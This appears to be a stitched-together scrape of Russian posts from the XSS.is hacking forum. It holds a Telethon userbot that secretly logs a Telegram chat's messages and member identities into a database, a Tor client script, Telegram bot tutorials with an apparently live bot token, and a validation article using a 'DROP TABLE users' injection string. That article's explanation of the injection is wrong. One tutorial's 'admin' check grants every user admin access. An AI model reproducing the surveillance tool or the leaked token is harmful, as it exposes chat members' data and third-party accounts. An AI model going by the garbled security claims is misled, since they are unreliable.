Хочу автоматизировать работу с ВК. Не пойму, как-то можно без API там авторизовываться? Язык Python
Написал: rand
Эксклюзивно для: XSS.is
Версия Python 3.12, Flask 3.0.3, Telethon 1.6.1, asqlite 1.1.0
Всем привет, давно ничего не выкладывал, возможно кому-то будет полезно. В некоторых интересных чатах телеги иногда проскакивает очень интересная информация, которая может быть удалена. В таком случае нам ничего не мешает установить своего клиентского бота и прослушивать чат, сохраняя все текстовые сообщения в бд, а для удобства отображения таблицы в БД, я сделал клиента на Flask. Пишу в БД только дату сообщения, id пользователя, username, nickname, message (при желании можно ещё добавить столбец с телефоном при его открытости у юзера).
Софт состоит из серверной и клиентской части.
Получается как-то так:
Для запуска устанавливаем:
Bash:Copy to clipboard
pip install telethon==1.6.1
pip install aiosqlite==1.1.0
pip install flask==3.0.3
Сначала запускаем серверную часть и начинаем собирать информацию, это у нас
server.py
, подробности по запуску читайте в комментариях к коду, там ничего
сложного:
Python:Copy to clipboard
import aiosqlite
import datetime
from telethon import TelegramClient, events
from telethon.errors import SessionPasswordNeededError
# Получаем параметры для подключения к API по адресу:
# api_hash from https://my.telegram.org, under API Development, данные в переменных ниже указаны левые для понимания что нужно вписывать.
api_id = 24555555
api_hash = '1eabd90d39d2977fc66894e3a1355555'
chat = 4581555555 # Чат айди сами загуглите как искать (или с клиента Telegram на PC заходите в продвинутые настройки-экспериментальные настройки-включаете отображение ID в профиле и прибавляете -100 в начале, если не сработает прописываете айди которое указано в профиле)
client = TelegramClient('komandos_kolya', api_id, api_hash, device_model="AMD B550", system_version="Windows 10")
client.connect()
phone = input("Enter phone: ")
client.send_code_request(phone, force_sms=False)
value = input("Enter login code: ")
try:
me = client.sign_in(phone, code=value)
# Если на акке выставленно 2Ф, будет запрос на авторизацию
except SessionPasswordNeededError:
password = input("Enter password: ")
me = client.sign_in(password=password)
# Создаем декоратор на событие в чате
@client.on(events.NewMessage(chats=[chat]))
async def handler(event):
# Получаем дату и время сообщения
message_datetime = datetime.datetime.now()
#message_datetime = event.message.to_dict()['date'] # Не спрашивайте меня почему я не сделал так =)
# Получаем дату и время сообщения
user_id = event.sender_id # Получаем ID пользователя
user_text = event.raw_text # Получаем текст сообщения
# Получаем имя пользователя @mmmm, first name, lastname
user_entity = await client.get_entity(user_id)
if user_entity.username:
user_name = user_entity.username
else:
user_name = "Имени нет"
user_nick = user_entity.first_name + " " + user_entity.last_name
# Получаем имя пользователя @mmmm, first name, lastname, дату сообщения
### Для отладки
#print(message_datetime)
#print(user_id)
#print(user_name)
#print(user_nick)
#print(user_text)
### Для отладки
# Пишем переменные в БД
await insert_message_table(message_datetime, user_id, user_name, user_nick, user_text)
# Работаем с бд (использую асинхронный драйвер aiosqlite)
async def insert_message_table(message_datetime, user_id, user_name, user_nick, user_text):
try:
sqlite_connection = await aiosqlite.connect('chat_tg.db') # Подключаемся к базе
cursor = await sqlite_connection.cursor() # Курсор для работы с БД
print("Подключен к SQLite")
# Вставляем переменные сообщения в БД
sqlite_insert_with_param = """INSERT INTO message
(message_date, user_id, user_name, user_nickname, message_text)
VALUES (?, ?, ?, ?, ?);""" # Запрос на запись в бд переменных сообщения
data_tuple = (message_datetime, user_id, user_name, user_nick, user_text)
await cursor.execute(sqlite_insert_with_param, data_tuple)
await sqlite_connection.commit()
print("Данные сообщения успешно вставлены в таблицу message")
await cursor.close()
except aiosqlite.Error as error:
print("Ошибка при работе с SQLite", error)
finally:
if sqlite_connection:
await sqlite_connection.close()
print("Соединение с SQLite закрыто")
# Работаем с бд (использую асинхронный драйвер aiosqlite)
client.start()
client.run_until_disconnected()
Клиентская часть на Flask состоит из 3-х файлов (client.py, base.html,
basic_table.html)
client.py:
Python:Copy to clipboard
from flask import Flask, render_template
import sqlite3
# Создание экземпляра Flask
app = Flask(__name__)
# Делаю маршрут URL по умолчанию
@app.route('/')
def home():
# Подключаемся к бд "chat_tg.db"
conn = sqlite3.connect('chat_tg.db')
# Создаем курсор для выполнения запросов к SQL
c = conn.cursor()
# Выполняем запрос к таблице
c.execute('SELECT * FROM message')
# Получаем все данные из таблицы message
messages = c.fetchall()
# Закрываем соединение с БД
conn.close()
# Визуализируем таблицу бд в index.html
return render_template('basic_table.html', messages=messages)
if __name__ == '__main__':
app.run(debug=True)
base.html
:
HTML:Copy to clipboard
<!doctype html>
<html>
<head>
<title>Прослушка чата by XSS.is</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous">
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.25/css/dataTables.bootstrap5.css">
</head>
<body>
<div class="container">
<h1>Прослушка чата: test</h1>
<hr>
{% block content %}{% endblock %}
</div>
<script type="text/javascript" charset="utf8" src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script type="text/javascript" charset="utf8" src="https://cdn.datatables.net/1.10.25/js/jquery.dataTables.js"></script>
<script type="text/javascript" charset="utf8" src="https://cdn.datatables.net/1.10.25/js/dataTables.bootstrap5.js"></script>
{% block scripts %}{% endblock %}
</body>
</html>
basic_table.html
:
HTML:Copy to clipboard
{% extends "base.html" %}
{% block content %}
<table id="data" class="table table-striped">
<thead>
<tr>
<th>№</th>
<th>Date</th>
<th>ID</th>
<th>Username</th>
<th>Nickname</th>
<th>Message</th>
</tr>
</thead>
<tbody>
{% for message in messages %}
<tr>
<td>{{ loop.index }}</td>
<td>{{ message[0] }}</td>
<td>{{ message[1] }}</td>
<td>{{ message[2] }}</td>
<td>{{ message[3] }}</td>
<td>{{ message[4] }}</td>
</tr>
{% endfor %}
</tbody>
</table>
{% endblock %}
{% block scripts %}
<script>
$(document).ready(function () {
$('#data').DataTable({
});
});
</script>
{% endblock %}
P.S. Полный исходник с БД и со всей правильной структурой прикрепил в ZIP.
Оговорка : прежде чем тыкать минусы, прочтите статью автора -тут
Почему Python лучше C: Достоинства Python и недостатки C
Python — это язык программирования, который не нуждается в представлении. Его популярность и востребованность растут с каждым годом, и на то есть множество причин. Если сравнить Python с языком C, можно с уверенностью сказать, что Python превосходит C по всем параметрам. Давайте разберёмся, почему это так.
Python известен своим лаконичным и читаемым синтаксисом. Код на Python напоминает обычный английский текст, что делает его понятным даже для новичков. В отличие от Python, язык C требует от программиста написания большого количества кода для выполнения простых задач. В C огромное количество сложных синтаксических конструкций, и даже опытные разработчики могут легко ошибиться, запутаться в скобках или потерять из виду важную переменную.
Кроме того, Python требует в среднем в три раза меньше строк кода для выполнения той же задачи, что и C. Это значит, что проекты на Python разрабатываются быстрее, а их поддержка обходится дешевле.
Python поддерживает динамическую типизацию, что позволяет писать более гибкий и универсальный код. Разработчикам не нужно заранее объявлять типы переменных, как это требуется в C. Это упрощает написание и тестирование кода, поскольку программистам не приходится заботиться о множестве технических деталей.
В C, напротив, типы данных являются статическими, что добавляет лишнюю сложность при программировании. Программисты обязаны следить за тем, чтобы каждый тип данных соответствовал ожидаемому значению, что усложняет отладку и тестирование программ.
Python предлагает огромную стандартную библиотеку и тысячи сторонних модулей для решения практически любых задач: от веб-разработки до машинного обучения. Это позволяет разработчикам быстро и эффективно находить решения для множества различных проблем.
В то же время C страдает от ограниченности своих библиотек и функциональности. Разработка программ на C требует значительных усилий на реализацию базовых функций, которые уже встроены в Python. Вместо того чтобы концентрироваться на решении бизнес-задач, разработчики на C вынуждены тратить время на изобретение велосипеда.
Python является кроссплатформенным языком, что означает, что код, написанный на Python, может выполняться на любой операционной системе без каких-либо изменений. Это делает Python идеальным выбором для разработки приложений, предназначенных для работы в разных средах.
C, с другой стороны, не гарантирует такую переносимость. Программы, написанные на C, часто требуют значительных изменений для работы на различных платформах. Это означает дополнительные затраты времени и ресурсов на адаптацию кода для различных операционных систем.
Python автоматически управляет памятью, используя встроенный механизм сборки мусора, который освобождает неиспользуемую память. Это делает разработку более эффективной и безопасной, снижая вероятность утечек памяти и других ошибок, связанных с неправильным управлением памятью.
В C управление памятью полностью лежит на плечах разработчика. Это не только делает программирование более сложным и трудоемким, но и увеличивает риск критических ошибок, таких как утечки памяти и переполнения буфера. Таким образом, код на C требует тщательной проверки и тестирования, что замедляет процесс разработки.
Сообщество Python растет с огромной скоростью, и существует множество учебных материалов, документации и примеров кода, доступных бесплатно. Python широко используется в образовании и часто является первым языком программирования, с которым знакомятся новички.
C, напротив, требует глубокого понимания низкоуровневых концепций, что затрудняет его изучение. Большое количество деталей, таких как управление памятью и работа с указателями, отпугивает новичков и требует значительных временных затрат на обучение.
Python — интерпретируемый язык, что позволяет разработчикам тестировать и отлаживать код в реальном времени. Это делает процесс разработки быстрым и эффективным. Python также поддерживает интерактивный режим, который позволяет выполнять команды сразу же, что делает его идеальным инструментом для прототипирования и анализа данных.
В случае с C, каждое изменение кода требует компиляции, что замедляет процесс разработки. Отсутствие интерактивного режима делает работу с C менее удобной и требует дополнительных инструментов для тестирования и отладки.
Теперь к реальным примерам :
Python:Copy to clipboard
word_count = len(input("Введите строку: ").split())
print(f"Количество слов: {word_count}")
Code:Copy to clipboard
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#define MAX_LENGTH 1000
int count_words(const char* str) {
int in_word = 0;
int count = 0;
while (*str) {
if (isspace((unsigned char)*str)) {
if (in_word) {
in_word = 0; // конец слова
}
} else if (!in_word) {
in_word = 1; // начало нового слова
count++;
}
str++;
}
return count;
}
int main() {
char input[MAX_LENGTH];
printf("Введите строку: ");
if (!fgets(input, sizeof(input), stdin)) {
fprintf(stderr, "Ошибка ввода.\n");
return 1;
}
// Убираем символ новой строки, если он есть
size_t len = strlen(input);
if (len > 0 && input[len - 1] == '\n') {
input[len - 1] = '\0';
}
int word_count = count_words(input);
printf("Количество слов: %d\n", word_count);
return 0;
}
Все очевидно!
Авторp4p4
Источникhttps://xss.is
Не пишешь валидацию вводимых данных - ОШИБКА!
Реализуешь валидацию надеясь на синтаксический сахар - ФАТАЛЬНАЯ ОШИБКА!
Распространенным случаем эксплуатации уязвимости приложения при помощи инъекций является отсутствие валидации данных на стороне юзера.
Не редки случаи использования цикла while с инструкцией continue для валидации данных от пользователя...
ПРИМЕР:
Python:Copy to clipboard
while True:
age = input("Введите ваш возраст: ")
# Проверка, является ли вводимые данные числом
if not age.isdigit():
print("ВОЗРАСТ ЭТО ЧИСЛО! Повторите пожалуйста.")
continue # К началу цикла
age = int(age)
# Проверка на диапазон
if age < 18 or age > 30:
print("Не одобряем малолеток, отвергаем пенсов.")
continue
# Если ввод корректный, выходим из цикла
break
В проверке подобных требований отсутствует возможность нанести дамаг, но это не значит, что данная реализация является эталоном при разработке
Использование continue в циклах для валидации данных может быть приемлемым, если оно не затрагивает компоненты программы, которые обрабатывают сенситив дату.
Сценарии, когда continue может быть безопасным:
- Валидация некритических данных
-Проверка формата ввода, спец. символы и т.п.
-Набросать примитивную валидацию в рамках тестирования в изолированной от внешнего мира среде
ПРИМЕР НЕУДАЧНОГО ИСПОЛЬЗОВАНИЯ:
вырываю несколько строк из контекста полноценного проекта с БД
Python:Copy to clipboard
def user_data():
while True:
username = input("Ваше имя? ")
# Проверка на пустое имя
if not username:
print("Имя не может быть пустым. ")
continue # Начало цикла
# Проверка на пробелы
if " " in username:
print("Имя не может содержать пробелы. ")
continue
return username # Возвращаем имя юзера при всех пройденных проверках
username = user_data()
print(f"Привет, {username}!")
тУт дыра
Spoiler: О ДЫРЕ
Мейн проблема: инструкция continue переносит выполнение к началу цикла(новая
итерация ), не обрабатывая потенциально опасные данные.
Если юзер введет admin; DROP TABLE users;
в качестве имени пользователя, код
выполнит следующее:
- Проверка на пустое имя
- Проверка на пробелы
- Перейдет к следующей итерации цикла, не обрабатывая DROP TABLE users;
- Возвратит "admin " как имя пользователя и проигнорирует оставшуюся
часть строки
КАК ИТОГ - та самая проигнорированная часть строки DROP TABLE users;
может
юзаться как вредоносный SQL-запрос, который удалит таблицу юзеров
ЕЩЕ МИНУСЫ( ситуативно):
Когда много условий проверки, continue может привести к запутанному,
трудночитаемому коду.
Continue позволяет выйти только из текущей итерации цикла, при фулл выходе из
цикла оптимальнее break
Также стоит обратить внимание на комбинации условий проверки с логическими выражениями (and, or)
Оптимальная альтернатива для работы с чувствительными данными и сложной
валидацией
(библы):
validators,
marshmallow
Реализация основных функций Tor для доступа к onion-сервисам версии 3 с
возможностью аутентификации клиента.
Поддерживает работу с Guard-узлами из консенсуса, мостов, а также мостов с
транспортом obfs4 (iat-mode=0).
Также присутствует самописная реализация TLS 1.3 (шифрование TLS_AES_128_GCM_SHA256 , TLS_AES_256_GCM_SHA384 , TLS_CHACHA20_POLY1305_SHA256 , кривые secp256r1 и x25519). Много чего отсутствует из стандарта, но в контексте задачи это и не нужно.
Писал как прототип для отладки/изучения и последующего переписывания на C
Архив в аттаче.
Для работы необходимы следующие модули
python -m venv py_test_env
call .\py_test_env\Scripts\activate.bat
pip install cryptography
pip install PyNaClClick to expand...
Запуск
call .\py_test_env\Scripts\activate.bat
python main.pyClick to expand...
Подключение к мосту
Python:Copy to clipboard
tor = make_tor('87.100.193.2', 9010)
Подключение к Guard-узлу (нужен fingerprint узла и его ntor-ключ)
Python:Copy to clipboard
tor = make_tor('87.100.193.2', 9010, '<fingerprint>', '<ntor key>')
Подключение к мосту с поддержкой obfs4
Python:Copy to clipboard
tor = make_tor_obfs4('167.71.76.157', 7962, '1/awezUsTbi3BUkYm95ye/tx+yNiqNhHs9nUZYc/97/krESVR64NwxTW9MYcBmdX/4zzMw')
Запрос в клирнет
Python:Copy to clipboard
host = 'api.ipify.org'
port = 80
req = f'GET / HTTP/1.1\r\n' \
f'Host: {host}\r\n' \
f'Connection: close\r\n\r\n'
circ_id = tor.clearnet_create_circuit(7)
data = tor.clearnet_send(circ_id, host, port, req)
hexdump(data)
Запрос в даркнет
Python:Copy to clipboard
host = 'xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion'
port = 80
req = f'GET / HTTP/1.1\r\n' \
f'Host: {host}\r\n' \
f'Connection: close\r\n\r\n'
circ_id = tor.darknet_create_circuit(host)
data = tor.darknet_send(circ_id, port, req)
hexdump(data)
Запрос в даркнет с авторизацией клиента
Python:Copy to clipboard
host = 'ltkdzbpfxl3fhzq3oyk6uqjzfoiin2q6debfjb7o3rfupft2jkmkitqd.onion'
port = 80
auth_key = 'E37NV62BY7X2TQUCQMH7QQKBNSEON23EAPSWNZBEP2WAIQNV2ASQ'
req = f'GET / HTTP/1.1\r\n' \
f'Host: {host}\r\n' \
f'Connection: close\r\n\r\n'
circ_id = tor.darknet_create_circuit(host, auth_key)
data = tor.darknet_send(circ_id, port, req)
hexdump(data)
Всем привет!
Посоветуйте пожалуйста какой-нибудь мини пет-проект для питон новокека,
который был бы полезен в нашей черно-серо-шляпной сфере
Задачи сделать что-то коммерчески успешное не стоит
Авторnetwork work
Источник https://xss.is
Всем доброго дня друзья , в этой статье я напишу про создание ботов в тг , начнем с простого закончим более трудным .
Начнем с простого , почему именно python ? Какие возможности этого языка ?
Все просто - телеграмм боты можно писать на таких языках как JS ,php,go(golang) и другие .Но почему именно python ,питон отличается простотой и читаемостью кода , множество разных библиотек имеется ,а так же нельзя забывать про хорошую документацию .python сам по себе простой язык но как не странно полезный , если говорить касательно тг то python дает возможность быстро написать и протестировать бота без лишнего геморроя .
Практическая часть
Давайте начнем с простого телеграмм бота который при запуске будет показывать актуальный курс крипто валюту , пусть будет биток ,эфир и лайт коин. Начнем!!!
Spoiler: полный код бота
Python:Copy to clipboard
import logging
import requests
from aiogram import Bot, Dispatcher, types
from aiogram.types import ParseMode
from aiogram.utils import executor
api_bota = '6672409243:AAHfoFHqaFGpOpkbjHAgGRPALz_ZqxTZmng'
api_saita = 'https://api.coingecko.com/api/v3/simple/price?ids=bitcoin,ethereum,litecoin&vs_currencies=usd'
logging.basicConfig(level=logging.INFO)
bot = Bot(token=api_bota)
dp = Dispatcher(bot)
async def get_crypto_price() -> str:
response = requests.get(api_saita)
data = response.json()
price = []
for crypto in data:
price.append(f"{crypto.capitalize()}: ${data[crypto]['usd']:.2f}")
return "\n".join(price)
@dp.message_handler(commands=['start'])
async def send_welcome(message: types.Message):
crypto_price = await get_crypto_price()
response_message = f"Здравствуйте ,Курсы криптовалют на данный момент \n{crypto_price}"
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
if __name__ == '__main__':
executor.start_polling(dp, skip_updates=True)
Давайте разберем код
Python:Copy to clipboard
import logging
- импортируем модуль который отвечает за логи .Данный модуль дает возможность отслеживать работу бота ( что большой плюс для мониторинга )
Python:Copy to clipboard
import requests
- импортируем модуль который отвечает за выполнение http запросов ( она нам нужна будет для получение самих данных о курсах криптовалюты )
Python:Copy to clipboard
from aiogram import Bot, Dispatcher, types
- импортируем основные классы aiogram , давай разберем каждый .
Bot - класс который отвечает за взаимодействия с телеграммом
Dispatcher - класс отвечает за обратботкой и управлением входящих сообщений
types - модуль который может содержать различные типы данных
Python:Copy to clipboard
from aiogram.types import ParseMode
- строчка импортирует "ParseMode" которая нужна для указания стиля текста при отправке сообщений юзеру
Python:Copy to clipboard
from aiogram.utils import executor
- в данном случаи мы импортируем "executor" , который нужен для запуска бота и принципе для обработки входящих сообщений
Python:Copy to clipboard
api_bota = ' '
- сюда вводим апи нашего бота
Spoiler: где получить api бота
Кто не знает как получить апи бота то
1. находим бота BotFather
2.прописываем /newbot для создание нового бота (затем следуйте инструкции )
Python:Copy to clipboard
api_saita = 'https://api.coingecko.com/api/v3/simple/price?ids=bitcoin,ethereum,litecoin&vs_currencies=usd'
- api_saita хранит url которая в свою очередь отвечает за получение актуальных цен на нашу крипту .
Python:Copy to clipboard
logging.basicConfig(level=logging.INFO)
- строчка настраивает можно сказать базовую конфигурацию для мониторинга бота .Для этого мы и прописали "import logging"
Python:Copy to clipboard
bot = Bot(token=api_bota)
- строчка можно сказать создает экземпляр "Bot" , используя токен нашего бота .Зачем же это строчка нужна ? Все просто , она дает возможность для взаимодействия с telegram api
Python:Copy to clipboard
dp = Dispatcher(bot)
- строчка создает экземпляр "Dispatcher" который в свою очередь отвечает за управлением и обработкой сообщений.
Python:Copy to clipboard
async def get_crypto_price() -> str:
- строчка определяет асинхронную функцию "get_crypto_price" которая в свою очередь возвращает строчку с ценами на крипту
Python:Copy to clipboard
response = requests.get(api_saita)
- строчка отвечает за выполнение http запроса к API ( для получение цен на криптовалюты)
Python:Copy to clipboard
data = response.json()
- строчка преобразует ответ api (в формате json) в python словарь. Зачем же спросите вы ? Конвертация json ответа в python словарь дает возможность удобнее и эффективнее работать с данными от api. json формат - это текстовый формат , которой не предназначен для работы в коде .Что нельзя сказать о python словаре , который позволяет легко извлекать и управлять данными
Python:Copy to clipboard
price = []
- строчка создает пустой список который будет служить для хранение строк с ценами крипты
Python:Copy to clipboard
for crypto in data:
- можно сказать перебирает каждую крипту в полученных данных
Python:Copy to clipboard
price.append(f"{crypto.capitalize()}: ${data[crypto]['usd']:.2f}")
-строчка настраивает можно сказать строку с названием крипты и ее ценной , а так же добавляет ее в выше созданный нами список .Мы использовали метод capitalize() для конвертации первой буквы в верхний регистр , а так же строчка форматирует цену с двумя знаками после запятой
Python:Copy to clipboard
return "\n".join(price)
- строчка преобразует список строк ("price") в одну строку , а так же она разделяет все элементы новой строкой
Python:Copy to clipboard
@dp.message_handler(commands=['start'])
- если простыми словами то строчка отвечает за обработку сообщения "/start" . А значит бот будет работать при получение команды "/start" от юзера
Python:Copy to clipboard
async def send_welcome(message: types.Message):
- определят функцию "send_welcome" которая принимает сообщение "message"
Python:Copy to clipboard
crypto_price = await get_crypto_price()
- строчка вызывает асинхронную функцию "get_crypto_price" которая в свою очередь отвечает за получения актуальных цен на крипту
Python:Copy to clipboard
response_message = f"Здравствуйте ,Курсы криптовалют на данный момент \n{crypto_price}"
- строчка отвечает за форматирование строки приветствия с актуальными ценами на крипту
Python:Copy to clipboard
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
- отправляет сообщение юзеру ("response_message") + использует формат Markdown
Python:Copy to clipboard
if __name__ == '__main__':
- строчка проверяет выполняется ли скрипт напрямую ( а не импортируется как модуль )
Python:Copy to clipboard
executor.start_polling(dp, skip_updates=True)
- строчка можно сказать запускает цикл обработки входящих сообщений и событий . А так же устанавливает "skip_updates=True", чтобы игнорировать старые сообщения
Первый скрипт был для отслеживания актуальной цены на крипту , скрипт простенький .Давайте сейчас разберем более полезный и сложный код , а точнее напишем инфо бота + добавим базовую админ панель ( рассылка + статистика )
Spoiler: сам код
Python:Copy to clipboard
import logging
from aiogram import Bot, Dispatcher, types
from aiogram.types import ParseMode
from aiogram.utils import executor
API_TOKEN = ''
ADMIN_ID = 12345789
logging.basicConfig(level=logging.INFO)
bot = Bot(token=API_TOKEN)
dp = Dispatcher(bot)
user_data = {
"user": 0,
"user_adm": set()
}
@dp.message_handler(commands=['start'])
async def send_welcome(message: types.Message):
user_id = message.from_user.id
user_data['user'] += 1
user_data['user_adm'].add(user_id)
response_message = (
"Здравствуйте! Я информационный бот , тут может быть ваш текст \n\n"
"Используйте команды:\n"
"/info - информация о боте\n"
)
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
@dp.message_handler(commands=['info'])
async def info(message: types.Message):
response_message = (
"Этот бот может содержать ваш текст , для дальнейших идей \n\n"
"Команды:\n"
"/start - запустить бота\n"
"/info - информация о боте\n"
)
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
@dp.message_handler(commands=['admin'])
async def admin_panel(message: types.Message):
if message.from_user.id != ADMIN_ID:
await message.reply("Вы не имеете доступа к админ-панели.")
return
response_message = (
"Админ-панель\n\n"
"/rasilka <message> - отправить рассылку всем пользователям\n"
"/stata - статистика пользователей"
)
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
@dp.message_handler(commands=['rasilka'])
async def rasilka(message: types.Message):
if message.from_user.id != ADMIN_ID:
await message.reply("Вы не имеете доступа к админ-панели.")
return
text = message.get_args()
if not text:
await message.reply("Пожалуйста, укажите сообщение для рассылки.")
return
sent = 0
failed = 0
for user_id in user_data['user_adm']:
try:
await bot.send_message(user_id, text, parse_mode=ParseMode.MARKDOWN)
sent += 1
except Exception as e:
logging.error(f"Не удалось отправить сообщение пользователю {user_id}: {e}")
failed += 1
await message.reply(f"Рассылка завершена.\nОтправлено: {sent}\nНе удалось отправить: {failed}")
@dp.message_handler(commands=['stata'])
async def stata(message: types.Message):
if message.from_user.id != ADMIN_ID:
await message.reply("Вы не имеете доступа к админ-панели.")
return
response_message = (
f"Общее количество пользователей: {user_data['user']}\n"
f"Пользователи с админкой: {len(user_data['user_adm'])}"
)
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
if __name__ == '__main__':
executor.start_polling(dp, skip_updates=True)
Давайте разберем выше написанный код
Python:Copy to clipboard
import logging
- импортируем модуль для логирование и мониторинга
Python:Copy to clipboard
from aiogram import Bot, Dispatcher, types
- импортируем базовые компоненты библиотеки "aiogram" .
Python:Copy to clipboard
from aiogram.types import ParseMode
- импортируем "ParseMode" которая предназначена для указания формата сообщений
Python:Copy to clipboard
from aiogram.utils import executor
- строчка импортирует "executor" ,который предназначен для помощи запуска бота и управление процессом можно сказать
Python:Copy to clipboard
API_TOKEN = ''
- сюда вводим токен вашего бота (как его получить написал вверху)
Python:Copy to clipboard
ADMIN_ID = 12345789
- заменяем 123456789 на id юзера которого хотите сделать админом .id можно узнать тут https://t.me/getmyid_bot ( не реклама)
Python:Copy to clipboard
logging.basicConfig(level=logging.INFO)
- в этой строчке мы настроили базовые параметры логирование
Python:Copy to clipboard
bot = Bot(token=API_TOKEN)
- строчка создает обьек бота , используя токен (указанный выше)
Python:Copy to clipboard
dp = Dispatcher(bot)
- строчка отвечает за создание объекта диспетчера ,который в свою очередь управляет обработкой сообщений и т.п
Python:Copy to clipboard
user_data = {
"user": 0,
"user_adm": set()
}
- создаем словарь для хранения информации о пользователях ("user_data") , "user" хранит общее кол-во юзеров .А "user_adm" хранит id юзеров которые будут иметь доступ к админ панели
Python:Copy to clipboard
@dp.message_handler(commands=['start'])
- строчка обрабатывает команды ( в данном случаи команду /start
Python:Copy to clipboard
async def send_welcome(message: types.Message):
- асинхронная функция которая отвечает за обработки команды "/start"
Python:Copy to clipboard
user_id = message.from_user.id
- строчка получает id пользователя (который отправил сообщение )
Python:Copy to clipboard
user_data['user'] += 1
- строчка увеличивает число общих юзеров
Python:Copy to clipboard
user_data['user_adm'].add(user_id)
- добавляет id пользователя в админ панель
Python:Copy to clipboard
response_message = (
"Здравствуйте! Я информационный бот , тут может быть ваш текст \n\n"
"Используйте команды:\n"
"/info - информация о боте\n"
)
- создаем сообщение для пользователя ( в данном случаи мы написали приветствие и список активных команд)
Python:Copy to clipboard
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
- строчка отправляет ответ пользователю ("response_message")
Python:Copy to clipboard
@dp.message_handler(commands=['info'])
- строчка создана для обработки команды "/info"
Python:Copy to clipboard
async def info(message: types.Message):
- Асинхронная функция для обработки команды "/info"
Python:Copy to clipboard
response_message = (
"Этот бот может содержать ваш текст , для дальнейших идей \n\n"
"Команды:\n"
"/start - запустить бота\n"
"/info - информация о боте\n"
)
- формирует сообщение с указанной нами информацией о боте
Python:Copy to clipboard
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
- отправляет выше написанное нами сообщение пользователю
Python:Copy to clipboard
@dp.message_handler(commands=['admin'])
- строчка обрабатывает команду "/admin"
Python:Copy to clipboard
async def admin_panel(message: types.Message):
- Асинхронная функция для обработки команды "/admin"
Python:Copy to clipboard
if message.from_user.id != ADMIN_ID:
- строчка отвечает за проверку пользователя на наличии доступа к админ панели
Python:Copy to clipboard
await message.reply("Вы не имеете доступа к админ-панели.")
return
- если не имеет пользователь доступ к админ панели то бот показывает выше написанное сообщение
Python:Copy to clipboard
response_message = (
"Админ-панель\n\n"
"/rasilka <message> - отправить рассылку всем пользователям\n"
"/stata - статистика пользователей"
)
- строчка формирует выше написанное сообщение (данный текст для юзеров у которых есть доступ к админ панели)
Python:Copy to clipboard
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
- строчка отправляет выше написанное сообщение юзерам у которых есть доступ к админ панели
Python:Copy to clipboard
@dp.message_handler(commands=['rasilka'])
- строчка будет обрабатывать команду "/rasilka"
Python:Copy to clipboard
async def rasilka(message: types.Message):
- Асинхронная функция для обработки команды "/rasilka"
Python:Copy to clipboard
if message.from_user.id != ADMIN_ID:
- строчка отвечает за проверку юзеров на права доступа к админ панели
Python:Copy to clipboard
await message.reply("Вы не имеете доступа к админ-панели.")
return
- если у юзера нету доступа к админ панели , то бот отправляет вышенаписанное сообщение
Python:Copy to clipboard
text = message.get_args()
- строчка отвечает за получение текста сообщение для рассылки
Python:Copy to clipboard
if not text:
await message.reply("Пожалуйста, укажите сообщение для рассылки.")
return
- данный кусочек кода отвечает за проверку был ли передан текст сообщения .Если нет , отправляет выше написанное сообщение
Python:Copy to clipboard
sent = 0
- счетчик для отслеживание успешных отправок сообщений
Python:Copy to clipboard
failed = 0
- счетчик для отслеживание неуспешных попыток отправки сообщений
Python:Copy to clipboard
for user_id in user_data['user_adm']:
- Итперация по всем пользователям с правами администратора.
Python:Copy to clipboard
try:
await bot.send_message(user_id, text, parse_mode=ParseMode.MARKDOWN)
sent += 1
except Exception as e:
- кусочек кода отвечает за отправку сообщения каждому пользователю
Python:Copy to clipboard
logging.error(f"Не удалось отправить сообщение пользователю {user_id}: {e}")
failed += 1
-данный кусок кода отвечает за отправление сообщение если что то пошло не так
Python:Copy to clipboard
await message.reply(f"Рассылка завершена.\nОтправлено: {sent}\nНе удалось отправить: {failed}")
- строчка отправляет сообщение с результатом рассылки(показывает сколько было отправлено успешных/не успешных сообщений
Python:Copy to clipboard
@dp.message_handler(commands=['stata'])
- строчка отвечает за обработку команды "/stata"
Python:Copy to clipboard
async def stata(message: types.Message):
- Асинхронная функция для обработки команды "/stata"
Python:Copy to clipboard
if message.from_user.id != ADMIN_ID:
await message.reply("Вы не имеете доступа к админ-панели.")
return
- кусок кода отвечает за проверку прав доступка к админ панели , если нету то выводит выше написанное сообщение
Python:Copy to clipboard
response_message = (
f"Общее количество пользователей: {user_data['user']}\n"
f"Пользователи с админкой: {len(user_data['user_adm'])}"
)
- строчки формируют сообщение с статистикой пользователей
Python:Copy to clipboard
await message.reply(response_message, parse_mode=ParseMode.MARKDOWN)
- отправка собственно сообщение со статистикой пользователю (админу)
Python:Copy to clipboard
if __name__ == '__main__':
- строчка проверяет скрипт на выполнение как основной модуль , а не импортированный
Python:Copy to clipboard
executor.start_polling(dp, skip_updates=True)
- строчка отвечает за скип всех накопленных команд до запуска бота
Вот скрины что мы получим в конце
Давайте сейчас разберем бота автоответчика , то есть пользователю смогу отправлять сообщение боту . А тот в свою очередь будет отправлять все админу, так же добавим функцию отправка сообщения со стороны админа пользователю .Мы до этого писали на библиотеке aiogram , сейчас попрактикуемся на библиотеке telebot.
Spoiler: код
Python:Copy to clipboard
import telebot
TOKEN = ""
admin_id = 12345
bot = telebot.TeleBot(TOKEN)
@bot.message_handler(commands=['start'])
def handle_start(message: telebot.types.Message):
if message.from_user.id == admin_id:
bot.send_message(message.chat.id, "Приветствую, администратор!")
else:
bot.send_message(message.chat.id, f"Здравствуйте, {message.from_user.first_name}! Если у вас есть вопросы или предложения, не стесняйтесь обращаться.")
@bot.message_handler(commands=['help'])
def handle_help(message: telebot.types.Message):
